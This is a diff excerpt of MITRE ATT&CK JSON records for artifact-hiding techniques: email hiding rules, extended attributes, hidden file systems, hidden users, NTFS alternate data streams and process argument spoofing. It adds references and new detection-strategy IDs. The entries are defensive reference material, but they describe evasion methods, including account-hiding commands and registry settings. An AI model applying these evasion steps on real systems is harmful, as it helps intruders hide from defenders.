+ "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.",
+ "url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf"
+ },
+ {
+ "source_name": "MalwareBytes ADS July 2015",
+ "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.",
+ "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/"
+ },
+ {
+ "source_name": "Sofacy Komplex Trojan",
+ "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
+ "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
+ },
+ {
+ "source_name": "Sophos Ragnar May 2020",
+ "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.",
+ "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "Office Suite",
+ "Windows",
+ "macOS",
+ "ESXi"
+ ],
+ "x_mitre_version": "1.4",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\", \"Application Log: Application Log Content\", \"Process: Process Creation\", \"Command: Command Execution\", \"File: File Modification\", \"Firmware: Firmware Modification\", \"Service: Service Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Script: Script Execution\", \"User Account: User Account Creation\", \"Process: OS API Execution\", \"User Account: User Account Metadata\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:31.407000+00:00\", \"old_value\": \"2025-04-15 21:39:52.216000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage.\"}}}",
+ "previous_version": "1.4",
+ "changelog_mitigations": {
+ "shared": [
+ "M1013: Application Developer Guidance",
+ "M1033: Limit Software Installation",
+ "M1047: Audit",
+ "M1049: Antivirus/Antimalware"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0001: Firmware (Firmware Modification)",
+ "DS0002: User Account (User Account Creation)",
+ "DS0002: User Account (User Account Metadata)",
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0012: Script (Script Execution)",
+ "DS0015: Application Log (Application Log Content)",
+ "DS0017: Command (Command Execution)",
+ "DS0019: Service (Service Creation)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Metadata)",
+ "DS0022: File (File Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0502: Detection Strategy for Hidden Artifacts Across Platforms"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2021-06-07 13:20:23.767000+00:00",
+ "modified": "2025-10-24 17:48:23.364000+00:00",
+ "name": "Email Hiding Rules",
+ "description": "Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)\n\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1564/008",
+ "external_id": "T1564.008"
+ },
+ {
+ "source_name": "MacOS Email Rules",
+ "description": "Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021.",
+ "url": "https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac"
+ },
+ {
+ "source_name": "Microsoft BEC Campaign",
+ "description": "Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021.",
+ "url": "https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/"
+ },
+ {
+ "source_name": "Microsoft Mail Flow Rules 2023",
+ "description": "Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.",
+ "url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules"
+ },
+ {
+ "source_name": "Microsoft Inbox Rules",
+ "description": "Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021.",
+ "url": "https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59"
+ },
+ {
+ "source_name": "Microsoft New-InboxRule",
+ "description": "Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021.",
+ "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps"
+ },
+ {
+ "source_name": "Microsoft Set-InboxRule",
+ "description": "Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021.",
+ "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps"
+ },
+ {
+ "source_name": "Microsoft Cloud App Security",
+ "description": "Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021.",
+ "url": "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Dor Edry, Microsoft",
+ "Liran Ravich, CardinalOps"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
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+ "Linux",
+ "macOS",
+ "Office Suite"
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+ "previous_version": "1.4",
+ "changelog_mitigations": {
+ "shared": [
+ "M1047: Audit"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0015: Application Log (Application Log Content)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0192: Detection Strategy for Email Hiding Rules"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--762e6f29-a62f-4d96-91ed-d0073181431f",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2025-03-27 19:40:00.716000+00:00",
+ "modified": "2025-09-17 17:58:26.729000+00:00",
+ "name": "Extended Attributes",
+ "description": "Adversaries may abuse extended attributes (xattrs) on macOS and Linux to hide their malicious data in order to evade detection. Extended attributes are key-value pairs of file and directory metadata used by both macOS and Linux. They are not visible through standard tools like `Finder`, `ls`, or `cat` and require utilities such as `xattr` (macOS) or `getfattr` (Linux) for inspection. Operating systems and applications use xattrs for tagging, integrity checks, and access control. On Linux, xattrs are organized into namespaces such as `user.` (user permissions), `trusted.` (root permissions), `security.`, and `system.`, each with specific permissions. On macOS, xattrs are flat strings without namespace prefixes, commonly prefixed with `com.apple.*` (e.g., `com.apple.quarantine`, `com.apple.metadata:_kMDItemUserTags`) and used by system features like Gatekeeper and Spotlight.(Citation: Establishing persistence using extended attributes on Linux)\n\nAn adversary may leverage xattrs by embedding a second-stage payload into the extended attribute of a legitimate file. On macOS, a payload can be embedded into a custom attribute using the `xattr` command. A separate loader can retrieve the attribute with `xattr -p`, decode the content, and execute it using a scripting interpreter. On Linux, an adversary may use `setfattr` to write a payload into the `user.` namespace of a legitimate file. A loader script can later extract the payload with `getfattr --only-values`, decode it, and execute it using bash or another interpreter. In both cases, because the primary file content remains unchanged, security tools and integrity checks that do not inspect extended attributes will observe the original file hash, allowing the malicious payload to evade detection.(Citation: Low GroupIB xattrs nov 2024)",
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1564/014",
+ "external_id": "T1564.014"
+ },
+ {
+ "source_name": "Establishing persistence using extended attributes on Linux",
+ "description": "Irem Kuyucu. (2024, August 6). Establishing persistence using extended attributes on Linux. Retrieved March 27, 2025.",
+ "url": "https://kernal.eu/posts/linux-xattr-persistence/"
+ },
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+ "source_name": "Low GroupIB xattrs nov 2024",
+ "description": "Sharmine Low. (2024, November 13). Stealthy Attributes of Lazarus APT Group: Evading Detection with Extended Attributes. Retrieved March 27, 2025.",
+ "url": "https://www.group-ib.com/blog/stealthy-attributes-of-apt-lazarus/"
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+ "x_mitre_contributors": [
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+ "Rouven Bissinger (SySS GmbH)",
+ "RoseSecurity"
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_version": "1.0",
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+ "changelog_mitigations": {
+ "shared": [
+ "M1040: Behavior Prevention on Endpoint"
+ ],
+ "new": [],
+ "dropped": []
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+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Metadata)"
+ ]
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+ "shared": [],
+ "new": [
+ "DET0406: Detection Strategy for Extended Attributes Abuse"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-06-28 22:55:55.719000+00:00",
+ "modified": "2025-10-24 17:49:29.855000+00:00",
+ "name": "Hidden File System",
+ "description": "Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)\n\nAdversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1564/005",
+ "external_id": "T1564.005"
+ },
+ {
+ "source_name": "MalwareTech VFS Nov 2014",
+ "description": "Hutchins, M. (2014, November 28). Virtual File Systems for Beginners. Retrieved June 22, 2020.",
+ "url": "https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html"
+ },
+ {
+ "source_name": "FireEye Bootkits",
+ "description": "Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.",
+ "url": "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html"
+ },
+ {
+ "source_name": "ESET ComRAT May 2020",
+ "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.",
+ "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf"
+ },
+ {
+ "source_name": "Kaspersky Equation QA",
+ "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.",
+ "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf"
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
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+ "macOS",
+ "Windows"
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+ "shared": [],
+ "new": [
+ "DET0461: Detection Strategy for Hidden File System Abuse"
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+ "dropped": []
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+ "id": "attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d",
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+ "modified": "2025-10-24 17:49:05.113000+00:00",
+ "name": "Hidden Users",
+ "description": "Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users. \n\nIn macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value Hide500Users to TRUE in the /Library/Preferences/com.apple.loginwindow plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the Hide500Users key value is set to TRUE, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the dscl utility to create hidden user accounts by setting the IsHidden attribute to 1. Adversaries can also hide a user\u2019s home folder by changing the chflags to hidden.(Citation: Apple Support Hide a User Account) \n\nAdversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)\n\nOn Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the gsettings command (ex: sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1564/002",
+ "external_id": "T1564.002"
+ },
+ {
+ "source_name": "Cybereason OSX Pirrit",
+ "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.",
+ "url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf"
+ },
+ {
+ "source_name": "Apple Support Hide a User Account",
+ "description": "Apple. (2020, November 30). Hide a user account in macOS. Retrieved December 10, 2021.",
+ "url": "https://support.apple.com/en-us/HT203998"
+ },
+ {
+ "source_name": "FireEye SMOKEDHAM June 2021",
+ "description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021.",
+ "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html"
+ },
+ {
+ "source_name": "Hide GDM User Accounts",
+ "description": "Ji Mingkui. (2021, June 17). How to Hide All The User Accounts in Ubuntu 20.04, 21.04 Login Screen. Retrieved March 15, 2022.",
+ "url": "https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/"
+ },
+ {
+ "source_name": "US-CERT TA18-074A",
+ "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
+ "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
+ }
+ ],
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+ "x_mitre_contributors": [
+ "Omkar Gudhate"
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+ "x_mitre_deprecated": false,
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+ "macOS",
+ "Windows",
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+ "shared": [
+ "M1028: Operating System Configuration"
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+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
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+ },
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+ "shared": [],
+ "new": [
+ "DET0353: Detection Strategy for Hidden User Accounts"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-13 20:33:00.009000+00:00",
+ "modified": "2025-10-24 17:49:35.944000+00:00",
+ "name": "NTFS File Attributes",
+ "description": "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1564/004",
+ "external_id": "T1564.004"
+ },
+ {
+ "source_name": "MalwareBytes ADS July 2015",
+ "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.",
+ "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/"
+ },
+ {
+ "source_name": "SpectorOps Host-Based Jul 2017",
+ "description": "Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.",
+ "url": "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea"
+ },
+ {
+ "source_name": "Journey into IR ZeroAccess NTFS EA",
+ "description": "Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.",
+ "url": "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html"
+ },
+ {
+ "source_name": "Microsoft NTFS File Attributes Aug 2010",
+ "description": "Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.",
+ "url": "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/"
+ },
+ {
+ "source_name": "Microsoft ADS Mar 2014",
+ "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.",
+ "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/"
+ },
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+ "source_name": "Microsoft File Streams",
+ "description": "Microsoft. (n.d.). File Streams. Retrieved September 12, 2024.",
+ "url": "https://learn.microsoft.com/en-us/windows/win32/fileio/file-streams"
+ },
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+ "source_name": "Oddvar Moe ADS2 Apr 2018",
+ "description": "Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.",
+ "url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/"
+ },
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+ "source_name": "Oddvar Moe ADS1 Jan 2018",
+ "description": "Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.",
+ "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/"
+ },
+ {
+ "source_name": "Symantec ADS May 2009",
+ "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.",
+ "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore"
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+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Modification\", \"Process: Process Creation\", \"File: File Metadata\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:35.944000+00:00\", \"old_value\": \"2025-04-15 19:59:20.821000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\\n\\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\\n\\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\\n-\\n-There are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\\n-\\n-The Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1022: Restrict File and Directory Permissions"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Metadata)",
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0432: Detection Strategy for NTFS File Attribute Abuse (ADS/EAs)"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2021-11-19 14:13:11.335000+00:00",
+ "modified": "2025-10-24 17:49:40.325000+00:00",
+ "name": "Process Argument Spoofing",
+ "description": "Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)\n\nAdversaries may manipulate a process PEB to evade defenses. For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) WriteProcessMemory() function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)\n\nAdversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)\n\nThis behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1564/010",
+ "external_id": "T1564.010"
+ },
+ {
+ "source_name": "Microsoft PEB 2021",
+ "description": "Microsoft. (2021, October 6). PEB structure (winternl.h). Retrieved November 19, 2021.",
+ "url": "https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb"
+ },
+ {
+ "source_name": "Xpn Argue Like Cobalt 2019",
+ "description": "Chester, A. (2019, January 28). How to Argue like Cobalt Strike. Retrieved November 19, 2021.",
+ "url": "https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/"
+ },
+ {
+ "source_name": "Cobalt Strike Arguments 2019",
+ "description": "Mudge, R. (2019, January 2). https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/. Retrieved November 19, 2021.",
+ "url": "https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/"
+ },
+ {
+ "source_name": "Nviso Spoof Command Line 2020",
+ "description": "Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021.",
+ "url": "https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/"
+ },
+ {
+ "source_name": "FireEye FiveHands April 2021",
+ "description": "McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021.",
+ "url": "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
+ },
+ {
+ "source_name": "Mandiant Endpoint Evading 2019",
+ "description": "Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021.",
+ "url": "https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
